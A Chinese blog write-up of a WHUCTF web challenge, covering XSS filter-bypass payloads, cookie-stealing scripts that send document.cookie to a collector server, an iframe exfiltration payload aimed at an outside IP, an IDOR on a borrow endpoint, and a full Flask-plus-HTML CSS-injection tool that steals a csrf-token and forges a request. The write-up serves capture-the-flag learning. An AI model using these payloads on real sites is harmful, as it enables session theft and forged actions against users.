[网络安全自学篇] 八十三.WHUCTF之CSS注入、越权、csrf-token窃取及XSS总结

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了WHUCTF隐写和逆向题目,包括文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析。这篇文章将详细讲解一道CSS注入题目,包括CSS注入、越权、csrf-token窃取及CSP绕过,同时总结XSS绕过知识,希望对您有所帮助。第一次参加CTF,还是学到了很多东西。人生路上,要珍惜好每一天与家人陪伴的日子。感谢武汉大学,感谢这些大佬和师傅们(尤其出题和解题的老师们)~

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

PS:本文参考了WHUCTF题目及WP、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
CTF案例:https://github.com/eastmountyxz/CTF-Web-WP


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
[网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
[网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
[网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
[网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
[网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
[网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
[网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
[网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
[网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)
[网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)
[网络安全自学篇] 八十二.WHUCTF之隐写和逆向类解题思路WP(文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析)


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



一.BookShop题目描述

题目地址:http://218.197.154.9:10000/

在这里插入图片描述

这是一个借书网站,登录页面显示如下图所示:

在这里插入图片描述

图书列表显示如下:http://218.197.154.9:10000/bookList

在这里插入图片描述

该题的出题师傅是JrXnm老师,下面说说他的出题思路:

这道题是很用心出的一道题,最后0解就很悲伤了。这道题逻辑并不复杂, 有一个report点,那必然是前端漏洞,后来也提示了是css注入。而本题的目的很明显就是需要admin帮用户借一本书,而借书接口存在csrftoken,那么就需要css注入窃取token然后成功帮忙借书。题目难点在于对css注入的一些限制。
参考网址:https://blog.szfszf.top/article/43/



二.解题初探:XSS注入详解及XSS反弹Cookie

1.网页分析

输入用户名和密码之后进入图书借阅系统,比如输入“csdn”,主界面显示如下图所示。

在这里插入图片描述

点击“图书列表”,然后选中书籍“跳转详情”可以进行借书。

在这里插入图片描述

书籍详情页面显示如下,下图展示了借书成功界面。

在这里插入图片描述

接着“我的主页”就可以显示了刚刚借阅的书籍信息。

在这里插入图片描述

可以借书还书, 而有一本书称为flag之书只允许admin借阅。而且每本书成功借阅之后就可以看到它隐藏的内容。那么这道题的目的就是借这本书了。

在这里插入图片描述

题目还有一个post页面和一个report页面,post页面可以赞美出题人。

在这里插入图片描述

通过post页面给自己点赞如下图所示。

在这里插入图片描述

report页面可以向admin发送一个url让admin点击。

在这里插入图片描述

题解:看到report功能, 可以确定存在前端漏洞,比如XSS、CSRF啥的。结合post功能中发送的post内容会自动拼接到页面中,可以确定是前端漏洞。


我最初的解题思路是:

  • 通过report页面提交请求,让admin管理员给我们点赞
  • 然后post页面可以实现XSS注入弹框,想办法反弹Cookie
  • 提升管理员权限然后借阅图书


2.Report发送请求

本题有一个很重要的提示是“把赞美的url(http://jrxnm.com/post/xxx/)发给admin吧,他会给你点个赞的”,接下来想办法让admin点赞。


第一步,在Report页面提交点赞内容。其中URL为点赞链接,密码为md5(xxx)[:6]==a146d9。

在这里插入图片描述

查看post页面源代码,可以看到点赞的URL即为提交的链接(http://jrxnm.com/post/1735)。

在这里插入图片描述

第二步,md5加密的前6位为“a146d9”,我们尝试用Python解密。

import hashlib

for i in range(100000000):
    str_i = str(i)
    hash1 = hashlib.md5()                #md5转utf-8
    hash1.update(str_i.encode("utf-8"))  #转码 
    str_md = hash1.hexdigest()
    if str_md[:6] == 'a146d9':
        print(i)
        break
#输出结果
#a146d9  ==>  31772644

解密结果如下图所示,其值为“31772644”。

在这里插入图片描述

第三步,在Report提交数据,然后提示发送给admin成功。

  • http://jrxnm.com/post/1735
  • 31772644

在这里插入图片描述

此时点击post页面可以看到管理员admin也给我们点赞了。

在这里插入图片描述



3.XSS注入

跨站脚本攻击(Cross-site scripting,XSS) 是指恶意攻击者往Web页面里插入恶意代码,当用户浏览该网页时,嵌入Web中的恶意代码就会被执行,从而达到恶意攻击用户的目的。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

在这里插入图片描述

接下来继续分析,我们发现post页面能够实现反弹型XSS。当我们插入如下JS代码,点击提交后弹出对话框。

<script>alert('Eastmount')</script>

在这里插入图片描述

在这里插入图片描述

同时,每当我们点赞时,它都会调用JS代码继续弹窗。

在这里插入图片描述

XSS强烈推荐作者的两篇文章:


接着我补充XSS注入的基本绕过方法。

(1) XSS基本弹窗

1) 利用基本的script标签来弹窗
<script>alert('xss')</script>

2) 利用iframe标签的src属性来弹窗
<iframe src=javascript:alert('xss')></iframe>

3) 利用标签的href属性来弹窗
<a href=javascript:alert('xss')>Eastmount</a>

4) 利用img标签的onerror事件来弹窗,当装载文档或图像发生错误时触发onerror事件
<img scr=1 οnerrοr=alert('xss')>

5) 利用img标签的onclick事件来弹窗,只要点击鼠标就会触发弹窗事件
<img src=“http://www.baidu.com/img/logo.gif” οnclick=alert('xss')>

比如利用iframe标签的src属性来弹窗如下图所示:

 <iframe src=javascript:alert('xss')></iframe>

在这里插入图片描述


(2) XSS基本绕过

1) 无过滤直接用常规的进行绕过
<script>alert('Eastmount')</script>

2) 绕过大小写过滤preg_replace()函数
<Script>alert('Eastmount')</scripT>

3) 双写或嵌套绕过preg_replace()函数
<sc<script>ript>alert('Eastmount')</s</script>cript>

4) 使用img标签绕过script字符串
<img src=“1” οnerrοr=“alert('Eastmount')”>

5) 编码绕过alert禁用过滤 使用JavaScript fromCharCode()
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,69,97,115,116,109,111,117,110,116,39,41))</script>

6) 构造JS脚本使标签闭合绕过get传来的参数 var $a = “<?php echo $_GET["name"]; ?>”;
</script><script>alert('Eastmount')</script>
1";</script><img scr=1 οnerrοr=alert(‘Eastmount’)><script>

7) 绕过字符转义htmlentities($_GET[“name”]);alert(‘Eastmount’);'
Eastmount’;alert($a);//

8) 利用$_SERVER[PHP_SELF]绕过字符转义htmlentities()函数
/"><script>alert('Eastmount')</script>"< "
/"><img src=1 οnerrοr=alert('Eastmount')><form

9) 绕过URL锚点(#)连接
http://localhost/xss/xss9.php#<script>alert('Eastmount')</script>

(3) XSS反弹Cookie
那么,我们能不能把Cookie反弹出来呢?其中,最常见的方法是调用alert(document.cookie)实现。

<script>alert(document.cookie)</script>

下图展示了本地XSS案例的Cookie反弹。

  • http://localhost/xss/xss1.php?name=%3Cscript%3Ealert(document.cookie)%3C/script%3E

在这里插入图片描述

在这里插入图片描述

那么,本题有没有反应呢?它弹出的结果为空。

在这里插入图片描述

(4) XSS利用服务器反弹Cookie
同时,作者补充另一种反弹Cookie的方法。本地搭建PHP网站环境(或服务器搭建),然后新建getcookie.php文件,代码如下:

<?php
 $file=fopen("1.txt","a");

 if($_GET['cookie']){
    $cookie=$_GET['cookie'];
    fputs($file,"$cookie\r\n");
 }
?>

接着构建XSS弹框,它会访问getcookie.php文件,然后将cookie写入“1.txt”文件中。

<script>document.location='http://127.0.0.1/getcookie.php?cookie='+document.cookie;</script>

<script>alert(document.location='http://127.0.0.1/getcookie.php?cookie='+document.cookie)</script>

在这里插入图片描述

最后本地生成一个文件“1.txt”,并写入Cookie。

在这里插入图片描述


其他方法如下,参考文章:xss实战:利用xss得到cookie

1) 构建hacker.php
<?php
  $cookie = $_GET['cookie'];
  var_dump($cookie);
  $myFile = "cookie.txt";
  file_put_contents($myFile, $cookie);
?>

2) 构建hacker.js
var img = new Image();
img.src = "http://127.0.0.1/xss-js/hacker.php?cookie=" + document.cookie;
document.body.append(img);

3) 构建get.js然后放到Web服务器上,比如http://www.myweb.com/get.js
   在存在xss漏洞的地方插入你的js,比如 <script src="http://127.0.0.1/get.js"></script>
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://www.myweb.com/get.jsp?msg='+encodeURIComponent(document.cookie);

注意:document.cookie包含特殊字符,需要用encodeURIComponent处理一下。如果不想让人看到js内容,可以在线加密。


但是作者将该XSS脚本写入题目post页面,却没能将cookie写入“1.txt”,而仅仅跳转本地URL。

在这里插入图片描述

在这里插入图片描述

大家是否想过为什么不能获取Cookie呢?

在这里插入图片描述



4.XSS反弹绕过httponly及CSP保护

这是因为该网站把Cookie设置成HttpOnly,它能有效防止XSS攻击。当我们使用 alert(document.cookie) 来弹出当前会话的Cookie,HttpOnly能防止XSS及避免JavaScript读取Cookie。

比如说张三在我们网站上登陆了一下用户名,李四特意发了一个攻击请求,他拿不到这个用户ID,就冒充不了这个张三。如果在Cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到Cookie信息,这样能有效的防止XSS攻击。下图可以看到该网站设置了httponly保护。

在这里插入图片描述

同时,我们可以看到csrf-token相关的信息,CSRF即跨站请求伪造(Cross-site request forgery)。

<meta name="csrf-token" content="dd75cdcc270f39679a3750ec83cba7ca">

在这里插入图片描述


那么,能不能利用XSS绕过HTTPonly呢?
文章 XSS绕过HTTPonly 通过构造XHR(ajax是XMLHttpRequest对象)请求实现。也有一些文章通过iframe获取cookie信息,参考文章 第十届全国大学生信息安全竞赛Guestbook题目 - FlappyPig师傅

看到了CSP信息及沙盒,发现CSP允许unsafe-eval的执行。然后开始测试,经过测试发现link标签、location都被过滤替换成hacker,但是location很容易绕过,例如window[‘locat’+‘ion’].href。

default-src 'self'; 
script-src 'self' 'unsafe-inline' 'unsafe-eval'; 
font-src 'self' fonts.gstatic.com; 
style-src 'self' 'unsafe-inline'; 
img-src 'self'

<script>
//sandbox
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
</script>

接下来的思路是用一个iframe从其他路径下“借用”一个XMLHttpRequest来发送请求,大概初始payload如下:

<iframe id="bendawang" src="http://106.75.103.149:8888/"></iframe>
<script>
  window.XMLHttpRequest = window.top.frames[0].XMLHttpRequest; 
  var xhr = new XMLHttpRequest();
  xhr.open("GET", "http://106.75.103.149:8888/index.php ", false);
  xhr.send();
  a=xhr.responseText;
  window['locat'+'ion'].href='http://104.160.43.154:8000/xss/?content='+escape(a);
</script>

能够成功获得服务器的返回,但是没有cookie,源码里面也没有flag,通过测试document.referrer,发现这个地址:

在这里插入图片描述

发现无法获取源码,那么尝试通过iframe来获取cookie,思路跟之前DDCTF一个题目的思路一样。最后修正payload如下:

<iframe src="javascript:i=document.createElement('iframe');
i.src='/admin/review.php?b=2e232e23';
i['onlo'+'ad']=function(){parent.window['locat'+'ion'].href='http://xss/ 
'+escape(this.contentWindow.document.cookie)};
document.body.append(i)">
</iframe>

那么,什么是CSP?
Content Security Policy (CSP)内容安全策略是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。简单来说,CSP就是为了减少XSS、CSRF等攻击的,是通过控制可信来源的方式,类似于同源策略。

CSP以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过HTTP头信息或者meta元素定义。CSP虽然提供了强大的安全保护,但是也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整。

基本上来说,CSP上容易存在的XSS漏洞不多,除非你坚持使用‘unsafe-inline’。多数情况来说,CSP仍没有得到普及的原因就是因为大量的禁用内联脚本和eval这样的函数,导致如果配置不当,甚至网站都无法正常使用。否则来说,XSS会被大幅度的减少,而bypass CSP更多来说是不容易被CSP杀掉的CSRF。

这道CTF题目的CSP信息如下:

Connection: keep-alive
Content-Length: 2326
Content-Security-Policy: default-src 'none';    connect-src 'self';img-src 'self'; style-src 'self' 'unsafe-inline';
Content-Type: text/html; charset=utf-8
Date: Tue, 26 May 2020 06:51:17 GMT
Server: nginx/1.17.10
Vary: Cookie
X-Frame-Options: Deny

在这里插入图片描述

发现自己是真的菜,只能推荐两篇文章供大家学习,自己也有点懵圈了。

在这里插入图片描述


指纹信息收集及漏洞利用
同时,作者通过 https://scan.top15.cn/web/ 网站在线获取指纹信息如下,其采用的框架为“Nginx,jQuery,AngularJS,Server【nginx/1.17.10】”。这里我也想过,是否能利用AngularJS漏洞信息进行渗透呢?推荐文章:

在这里插入图片描述



三.正确方法:CSS注入及csrf-token越权

下面讲解出题老师的WP,开始吧!原文网址:WHUCTF2020出题记录
强烈推荐大家阅读JrXnm老师的系列文章,真的是厉害,佩服佩服~

在这里插入图片描述

解题思路:
这道题逻辑并不复杂, 有一个report点,那必然是前端漏洞,后来也提示了是css注入。而本题的目的很明显就是需要admin帮用户借一本书,而借书接口存在csrftoken,那么就需要css注入窃取token然后成功帮忙借书。题目难点在于对css注入的一些限制。

PS:对于css注入不熟的同学先看完 CSS injection总结 文章后再看下列的内容。


1.漏洞利用限制

假设我们提交信息为 <img src=‘123.jpg’>,虽然post中直接拼接输入,但是存在CSP的限制。

http://218.197.154.9:10000/post/1735/?post=<img src=‘123.jpg’>

在这里插入图片描述

CSP限制如下图所示:

Content-Security-Policy: 
default-src 'none';    
connect-src 'self';
img-src 'self'; 
style-src 'self' 'unsafe-inline';

在这里插入图片描述

可以看到因为script-src是none,js脚本无论何种情况是不可能执行的,那么也就不可能xss。当然我们发现CSS允许内联(‘unsafe-inline’)但不允许外部引入。

尝试新的请求: <style>body{background:red}</style>

在这里插入图片描述

网址构建为:

http://218.197.154.9:10000/post/1735/?post=<style>body{background:red}</style>

在这里插入图片描述

可以看到css内敛代码成功执行。此时我们拥有了一个CSS注入点,CSS注入可以窃取页面中的数据,同时全站页面的响应头都包含了X-Frame-Options: Deny ,限制站点被iframe包含。

在这里插入图片描述



2.越权

回到借书功能, 我们尝试借阅flag之书。

在这里插入图片描述

使用BurpSuite拦截信息如下图所示:

  • Referer: http://218.197.154.9:10000/bookDetail/7
  • uid=1735&book_id=7&csrf_token=d95e2da5d4367f49db2ee648e7f91d6a

借书操作有以下参数:

  • uid:自己的用户id
  • book_id:书籍id
  • csrf_token

在这里插入图片描述

既然我们拥有css注入漏洞, 那么窃取csrf_token是没问题的。

在这个接口中,uid这个参数位是很奇怪的,标识用户只需要session就可以了,本来是无需uid的。简单尝试发现改变uid可以越权帮助别人借书, 那么我们可以利用css注入窃取csrf_token,然后让admin帮我们借书。

以“高等数学”为例,我们的uid为1735,使用BurpSuite拦截信息,然后修改uid为“1700”,同样成功借书。这表明存在越权的漏洞。

在这里插入图片描述

在这里插入图片描述

借书成功如下图所示:

在这里插入图片描述



3.no frame CSS injection

查看页面源代码csrf-token是放在标签的属性中的, 这极大地方便了我们窃取。

在这里插入图片描述

由于全站限制了被frame包含, 而css注入不允许import引入外部css,所以传统的利用iframe窃取标签数据不能利用,在JrXnm师傅的 CSS injection总结 文章中已经指出了不使用iframe的css注入的可能方法。

在这里插入图片描述

https://github.com/dxa4481/cssInjection 这里给出了一种方法, 由于一位一位的猜测标签数据内容,存在iframe包含时,我们可以控制js每猜测一位csrf-token值时,加载一个iframe。而没有iframe的话我们可以利用不断开启窗口打开漏洞页面。

就像上面文章说的, 这种方法要求劫持用户点击行为。而我在题目里面和hint里给了很多暗示,让用户把赞美的url发给admin。

在这里插入图片描述

发送了之后不久,你就会发现admin给你点了个赞。

在这里插入图片描述

很明显admin访问链接之后有点击行为,我们可以劫持这个点击就可以实现不断地开启窗口了。



4.bypass connect-src ‘self’

最后一个巧妙地绕过就是绕过connect-src ‘self’,仔细观察下面的那个CSP,它还限制了connect-src,只能向同源站内发送数据,意味着无法向外带出数据了。

Content-Security-Policy: 
default-src 'none';
connect-src 'self';
img-src 'self'; 
style-src 'self' 'unsafe-inline';

熟悉有frame的css注入的同学知道,为了一位一位的猜解页面内容,如下我们需要页面不断和我们搭建的服务通信。

<style>
input[value^="0"] {
    background: url(http://attack.com/0);
}
input[value^="1"] {
    background: url(http://attack.com/1);
}
input[value^="2"] {
    background: url(http://attack.com/2);
}
...
input[value^="Y"] {
    background: url(http://attack.com/Y);
}
input[value^="Z"] {
    background: url(http://attack.com/Z);
}
</style>

这时限制了connect-src为self我们就不能向使用此方法了。

但是允许站内发数据,这里就有一个比较巧妙的点,我们知道admin可以向任何人点赞, 而且点赞api很容易获取到 /like/1735 其中的1735就是被点赞的人的uid。

在这里插入图片描述

而且csrf-token只有16位, 我们创建16个用户代表a-f 0-9,当猜测出csrf-token某位为a时,向我们创建的第一个用户点赞, 通过不断访问用户post页面就可以知道是谁被点赞了, 这样就可以带出数据了。

<style>
input[value^="a"] {
    background: url(http://jrxnm.cpm/like/1000);
}
input[value^="b"] {
    background: url(http://jrxnm.cpm/like/1001);
}
input[value^="c"] {
    background: url(http://jrxnm.cpm/like/1002);
}
...
input[value^="8"] {
    background: url(http://jrxnm.cpm/like/1014);
}
input[value^="9"] {
    background: url(http://jrxnm.cpm/like/1015);
}
</style>


5.代码实现

代码和有frame的代码类似,代码就不详细分析了,和那篇文章中使用frame的原理是类似的,只是加入了本文的这些限制,看懂了那个这个也没问题了。

首先是服务端, 注意修改user_id为自己的id。

from flask import Flask
from threading import Thread
import random, string
import requests
import re
import time
app = Flask(__name__)


token = ""
users = []
challenge_url = "http://218.197.154.9:10000/"
challenge_url_for_bot = "http://jrxnm.com/"
payload_url = "http://blog.szfszf.top:9015/"
user_id = 1233
chars = "abcdef0123456789"


@app.route('/return')
def return_token():
    return token


@app.route('/noframe.html')
def client():
    ids = [str(u.id) for u in users]
    return open('noframe.html').read()%(str(ids), challenge_url_for_bot, payload_url, str(user_id))


def get_random(num=32):
    ran_str = ''.join(random.sample(string.ascii_letters + string.digits, num))
    return ran_str

class User:
    def __init__(self):
        self.s, self.id = self.create_user()

    def create_user(self):
        username = get_random()
        password = get_random()
        data = {"username": username, "password": password}
        s = requests.Session()
        res1 = s.post(challenge_url+'login', data=data)
        res2 = s.get(challenge_url+'post')
        pa = re.compile(r'/post/(\d+)/')
        user_id = int(pa.findall(res2.text)[0])
        print(user_id)
        return s,user_id

    def post(self):
        data = {"post": get_random()}
        self.s.post(challenge_url+'post', data=data)


    def check_admin_like(self):
        global token
        res = self.s.get(challenge_url+'post')
        if 'admin' in res.text:
            ids = [str(u.id) for u in users]
            c = chars[ids.index(str(self.id))]
            token += c
            print(token)
            self.post()
            return True
        return False

def get_token():
    get_users()
    while True:
        for u in users:
            t = Thread(target=u.check_admin_like)
            t.start()
        time.sleep(0.2)

def get_users():
    for i in range(16):
        users.append(User())

    ids = [str(u.id) for u in users]
    print(ids)


if __name__ == '__main__':
    t = Thread(target=get_token)
    t.start()
    app.run(host='0.0.0.0', port=9015)

页面内容代码如下:

<html>
    <body onclick="potatoes();">click somewhere to begin attack</body>
    <script>
        var chars = %s;
        var chars1 = "abcdef0123456789".split("")
        var challenge_url = '%s'
        var vuln_url = challenge_url + 'post/1/?post=';
        var server_receive_token_url = challenge_url + 'like/';
        var server_return_token_url = '%sreturn';
        var known = "";
        var length = 32;
        var m = 0;

        function borrow_flag(csrf_token){
            let postData = "uid=%s&book_id=7&csrf_token="+csrf_token;
            fetch( challenge_url + 'borrow', {
              method: 'POST',
              mode: 'cors',
              credentials: 'include',
              headers: {
                'Content-Type': 'application/x-www-form-urlencoded'
              },
              body: postData
            }).then(function(response) {
              console.log(response);
            });
        }

        function build_css() {
            css_payload = "<style>";
            for(i=0; i< chars.length; i++) {
                css_payload += "meta[name=csrf-token][content^=\""
                    + known + chars1[i]
                    + "\"]~*{background-image:url(" 
                    + server_receive_token_url
                    + chars[i]
                    + ")%%3B}"; //can't use an actual semicolon because that has a meaning in a url
            }
            css_payload += "</style>"
            return css_payload;
        }
        var potatoes = function(){
            var css = build_css();
            var win2 = window.open(vuln_url + css, 'f')
            win2.blur();

            setTimeout(function() {
                var oReq = new XMLHttpRequest();
                oReq.addEventListener("load", known_listener);
                oReq.open("GET", server_return_token_url);
                oReq.send();
            }, 1000);
        }

        function known_listener () {
            document.getElementById("CSRFToken").innerHTML = "Current Token: " + this.responseText;
            console.log(m);
            if(known != this.responseText) {
                m=0;
                known = this.responseText;
                potatoes();
            } else {
                known = this.responseText;
                m+=1;

                if (m==2){
                    borrow_flag(known);
                }else{
                    potatoes();
                }
            }
        }

    </script>
    </br>
    The CSRF token is:
    <div id="CSRFToken"></div>
    <a><button class="btn btn-danger" ng-show="flag">点赞</button></a>
</div>

</html>

如何运行代码呢?
以上第一个文件保存为index.py, 第二个为noframe.html 放在服务器上同一个文件夹。运行python index.py,向admin report url为 http://your_server:9015/noframe.html。

在这里插入图片描述

然后可以看到admin会访问这个页面然后在一位一位的猜csrf-token。

在这里插入图片描述

猜完了之后会自动csrf帮你借书,然后你就可以在主页看到这本书了,书本点进去就是flag。

在这里插入图片描述



四.总结

写到这里,这篇文章就介绍完毕,希望对您有所帮助,还是觉得自己菜。学安全近一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。最后还是那句话,人生路上,好好享受陪伴家人的日子,那才是最幸福的事情,爱你~

欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

